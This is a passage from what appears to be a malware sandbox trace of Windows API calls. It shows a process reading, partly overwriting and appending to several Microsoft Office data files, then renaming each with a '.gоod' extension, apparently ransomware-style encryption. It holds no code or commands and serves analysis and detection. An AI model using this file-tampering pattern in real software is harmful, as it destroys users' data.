MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\project.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\project.x-none.msi.16.x-none.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\project.x-none.msi.16.x-none.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\project.x-none.msi.16.x-none.tree.dat.gоod")) returned 1 [0168.031] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\projectmui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\projectmui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x51 [0168.031] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0168.031] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\projectmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\projectmui.msi.16.en-us.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x3590410 | out: lpFileInformation=0x3590410*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9851ecf, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xf9851ecf, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf9910b72, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x5fc8)) returned 1 [0168.031] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0168.031] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\projectmui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\projectmui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x51 [0168.031] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0168.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\projectmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\projectmui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0168.031] GetFileType (hFile=0x80c) returned 0x1 [0168.031] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0168.031] GetFileType (hFile=0x80c) returned 0x1 [0168.031] SetFilePointer (in: hFile=0x80c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0168.032] ReadFile (in: hFile=0x80c, lpBuffer=0x35908b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x35908b8*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0168.461] CloseHandle (hObject=0x80c) returned 1 [0168.461] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\projectmui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\projectmui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x51 [0168.461] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0168.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\projectmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\projectmui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0168.461] GetFileType (hFile=0x80c) returned 0x1 [0168.461] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0168.461] GetFileType (hFile=0x80c) returned 0x1 [0168.461] SetFilePointer (in: hFile=0x80c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x5fc8 [0168.461] WriteFile (in: hFile=0x80c, lpBuffer=0x35d71d0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x35d71d0*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0168.462] CloseHandle (hObject=0x80c) returned 1 [0168.462] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\projectmui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\projectmui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x51 [0168.462] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0168.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\projectmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\projectmui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0168.462] GetFileType (hFile=0x80c) returned 0x1 [0168.462] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0168.462] GetFileType (hFile=0x80c) returned 0x1 [0168.463] ReadFile (in: hFile=0x80c, lpBuffer=0x35d94d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x35d94d8*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0168.552] CloseHandle (hObject=0x80c) returned 1 [0168.552] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\projectmui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\projectmui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x51 [0168.552] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0168.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\projectmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\projectmui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0168.552] GetFileType (hFile=0x80c) returned 0x1 [0168.552] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0168.552] GetFileType (hFile=0x80c) returned 0x1 [0168.552] WriteFile (in: hFile=0x80c, lpBuffer=0x3432f98*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x3432f98*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0168.552] CloseHandle (hObject=0x80c) returned 1 [0168.552] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\projectmui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\projectmui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x51 [0168.552] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\projectmui.msi.16.en-us.boot.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\projectmui.msi.16.en-us.boot.tree.dat.gоod", lpFilePart=0x0) returned 0x56 [0168.552] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0168.552] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\projectmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\projectmui.msi.16.en-us.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9851ecf, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xf9851ecf, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x60acc157, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5fd8)) returned 1 [0168.552] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0168.553] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\projectmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\projectmui.msi.16.en-us.boot.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\projectmui.msi.16.en-us.boot.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\projectmui.msi.16.en-us.boot.tree.dat.gоod")) returned 1 [0168.553] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\projectmui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\projectmui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4c [0168.553] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0168.553] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\projectmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\projectmui.msi.16.en-us.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x3467ca8 | out: lpFileInformation=0x3467ca8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b17ac3e, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b17ac3e, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b1a0d3d, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x76a0)) returned 1 [0168.554] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0168.554] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\projectmui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\projectmui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4c [0168.554] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0168.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\projectmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\projectmui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0168.555] GetFileType (hFile=0x80c) returned 0x1 [0168.555] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0168.555] GetFileType (hFile=0x80c) returned 0x1 [0168.555] SetFilePointer (in: hFile=0x80c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0168.555] ReadFile (in: hFile=0x80c, lpBuffer=0x3468130, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x3468130*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0168.558] CloseHandle (hObject=0x80c) returned 1 [0168.558] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\projectmui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\projectmui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4c [0168.558] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0168.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\projectmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\projectmui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0168.558] GetFileType (hFile=0x80c) returned 0x1 [0168.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0168.558] GetFileType (hFile=0x80c) returned 0x1 [0168.558] SetFilePointer (in: hFile=0x80c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x76a0 [0168.558] WriteFile (in: hFile=0x80c, lpBuffer=0x34696d0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x34696d0*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0168.559] CloseHandle (hObject=0x80c) returned 1 [0168.559] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\projectmui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\projectmui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4c [0168.559] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0168.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\projectmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\projectmui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0168.559] GetFileType (hFile=0x80c) returned 0x1 [0168.559] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0168.559] GetFileType (hFile=0x80c) returned 0x1 [0168.560] ReadFile (in: hFile=0x80c, lpBuffer=0x346b9e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x346b9e8*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0169.200] CloseHandle (hObject=0x80c) returned 1 [0169.200] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\projectmui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\projectmui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4c [0169.200] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0169.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\projectmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\projectmui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0169.200] GetFileType (hFile=0x80c) returned 0x1 [0169.200] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0169.200] GetFileType (hFile=0x80c) returned 0x1 [0169.201] WriteFile (in: hFile=0x80c, lpBuffer=0x34351e8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x34351e8*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0169.201] CloseHandle (hObject=0x80c) returned 1 [0169.201] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\projectmui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\projectmui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4c [0169.201] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\projectmui.msi.16.en-us.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\projectmui.msi.16.en-us.tree.dat.gоod", lpFilePart=0x0) returned 0x51 [0169.201] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0169.201] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\projectmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\projectmui.msi.16.en-us.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b17ac3e, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b17ac3e, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x61100df9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x76b0)) returned 1 [0169.201] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0169.201] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\projectmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\projectmui.msi.16.en-us.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\projectmui.msi.16.en-us.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\projectmui.msi.16.en-us.tree.dat.gоod")) returned 1 [0169.202] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.en-us.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.en-us.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x52 [0169.202] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0169.202] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.en-us.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proof.en-us.msi.16.en-us.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x372c4c0 | out: lpFileInformation=0x372c4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x843b7e4f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x47f6)) returned 1 [0169.202] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0169.202] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.en-us.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.en-us.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x52 [0169.202] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0169.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.en-us.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proof.en-us.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0169.202] GetFileType (hFile=0x80c) returned 0x1 [0169.202] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0169.203] GetFileType (hFile=0x80c) returned 0x1 [0169.203] SetFilePointer (in: hFile=0x80c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0169.203] ReadFile (in: hFile=0x80c, lpBuffer=0x372c968, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x372c968*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0169.204] CloseHandle (hObject=0x80c) returned 1 [0169.204] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.en-us.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.en-us.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x52 [0169.204] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0169.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.en-us.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proof.en-us.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0169.204] GetFileType (hFile=0x80c) returned 0x1 [0169.204] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0169.204] GetFileType (hFile=0x80c) returned 0x1 [0169.204] SetFilePointer (in: hFile=0x80c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x47f6 [0169.205] WriteFile (in: hFile=0x80c, lpBuffer=0x372dcb8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x372dcb8*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0169.206] CloseHandle (hObject=0x80c) returned 1 [0169.206] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.en-us.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.en-us.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x52 [0169.206] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0169.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.en-us.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proof.en-us.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0169.206] GetFileType (hFile=0x80c) returned 0x1 [0169.206] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0169.206] GetFileType (hFile=0x80c) returned 0x1 [0169.206] ReadFile (in: hFile=0x80c, lpBuffer=0x3730020, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0170.002] CloseHandle (hObject=0x80c) returned 1 [0170.002] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.en-us.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.en-us.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x52 [0170.003] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0170.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.en-us.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proof.en-us.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0170.003] GetFileType (hFile=0x80c) returned 0x1 [0170.003] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0170.003] GetFileType (hFile=0x80c) returned 0x1 [0170.003] WriteFile (in: hFile=0x80c, lpBuffer=0x3475908*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x3475908*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0170.003] CloseHandle (hObject=0x80c) returned 1 [0170.003] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.en-us.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.en-us.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x52 [0170.003] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.en-us.msi.16.en-us.boot.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.en-us.msi.16.en-us.boot.tree.dat.gоod", lpFilePart=0x0) returned 0x57 [0170.003] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0170.003] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.en-us.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proof.en-us.msi.16.en-us.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x618a6f2c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4806)) returned 1 [0170.003] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0170.003] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.en-us.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft 